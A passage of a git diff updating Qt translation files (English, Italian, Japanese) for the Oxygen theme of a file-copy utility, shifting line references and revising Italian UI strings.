<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/it/translation.ts b/plugins/Themes/Oxygen/Languages/it/translation.ts
index 0f65cfb..d9e20f0 100644
--- a/plugins/Themes/Oxygen/Languages/it/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/it/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Acquista la versione Ultimate per finanziare lo sviluppo del programma</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation>File %1/%2, dimensione: %3/%4</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation>Lista della copia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation>Lista dello spostamento</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Non chiudere se vengono rilevati errori</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation>Non chiudere mai</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation>Chiudere sempre</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation>Nome del file, 0KB</translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation>Scegliere un colore</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation>%1 %2% di %3</translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Non chiudere se vengono rilevati errori</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation>Non chiudere mai</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation>Chiudere sempre</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation>Scegliere un colore</translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,179 +91,255 @@
<translation>Da:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
- <translation>Per:</translation>
+ <translation>a:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation>0KB/sec</translation>
+ <source>Close at the end of the transfers</source>
+ <translation type="obsolete">Chiudi alla fine dei trasferimenti</translation>
</message>
<message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
- <translation>Più</translation>
+ <translation>Altr&amp;o</translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
- <translation>Pausa</translation>
+ <translation>&amp;Pausa</translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
- <translation>&amp;Saltare</translation>
+ <translation>&amp;Salta</translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
- <translation>&amp;Annullare</translation>
+ <translation>&amp;Annulla</translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
<source>Limit copy speed at:</source>
- <translation>Ridurre la velocità di copia a:</translation>
+ <translation type="obsolete">Ridurre la velocità di copia a:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
- <translation>Illimitato</translation>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
+ <translation>Arresta il sistema a trasferimento comletato</translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
- <translation>Copia list</translation>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
+ <translation>Limitare la velocità di copia a:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
- <translation>Precedente</translation>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
+ <translation>Lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
- <translation>Prossimo</translation>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
+ <translation>Sposta in cima gli elementi selezionati</translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
- <translation>Opzioni</translation>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
+ <translation>Sposta sopra gli elementi selezionati</translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
- <translation>Copia end</translation>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
+ <translation>Sposta sotto gli elementi selezionati</translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
- <translation>Alla fine della copia: </translation>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Sposta in coda gli elementi selezionati</translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
- <translation>Non chiudere se vengono rilevati errori</translation>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
+ <translation>Aggiungi file/cartelle</translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
- <translation>Non chiudere mai</translation>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
+ <translation>Elimina gli elementi selezionati</translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
- <translation>Chiudere sempre</translation>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
+ <translation>Cerca</translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
- <translation>Limite di velocità</translation>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
+ <translation>Esporta la lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
- <translation> KB/s</translation>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
+ <translation>Importa la lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
- <translation>File collisioni</translation>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
+ <translation>Precedente</translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
- <translation>Cosa fare: </translation>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
+ <translation>Successivo</translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
- <translation>Copia errori</translation>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
+ <translation>Errore</translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
- <translation>Interfaccia</translation>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Esporta gli errori nella lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
- <translation>Mostra velocità come principali informazioni</translation>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
+ <translation>Cartella di origine</translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
+ <translation>Cartella di destinazione</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation>Interfaccia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation>Aggiungi file</translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation>Aggiungi cartella</translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
- <translation>Spostare file(s)</translation>
+ <translation>Sposta file</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
- <translation>Spostare la cartella</translation>
+ <translation>Sposta la cartella</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
- <translation>Copiare il file(s)</translation>
+ <translation>Copia file</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation>Copia la cartella</translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
- <translation>Ctrl+F</translation>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation>Mostrare la doppia progressione</translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
- <translation>Shutdown quando è finito</translation>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
+ <translation>Mostrare la velocità come principale informazione</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation>Utilità</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Iniziare col pulsante &quot;Altro&quot; attivo</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation>Alla chiusura riduci nella&apos;area di notifica</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation>Al termine della copia</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation>Limitare la velocità di copia a</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
+ <translation>Clicca per modificare il colore</translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">Alla fine della copia: </translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Ridurre la velocità di copia a:</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation> KB/s</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation>Informazioni</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation>Visualizza</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation>Velocità nella barra di progresso</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation>Colore della progressione</translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
- <translation>Mostra velocità come principali informazioni</translation>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
+ <translation>Mostrare la percentuale di progresso sul titolo</translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
- <translation>Inizia con più pulsante premuto</translation>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
+ <translation>Sempre in primo piano</translation>
</message>
</context>
</TS>
diff --git a/plugins/Themes/Oxygen/Languages/ja/translation.ts b/plugins/Themes/Oxygen/Languages/ja/translation.ts
index c5fd56b..1ee75a9 100644
--- a/plugins/Themes/Oxygen/Languages/ja/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/ja/translation.ts
@@ -4,196 +4,325 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
- <name>interfaceCopy</name>
+ <name>ThemesFactory</name>
<message>
- <location filename="../../interface.ui" line="35"/>
- <source>From:</source>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
- <source>To:</source>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>interfaceCopy</name>
<message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="65"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
+ <location filename="../../interface.ui" line="621"/>
<source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
+ <location filename="../../interface.ui" line="628"/>
<source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
- <name>options</name>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
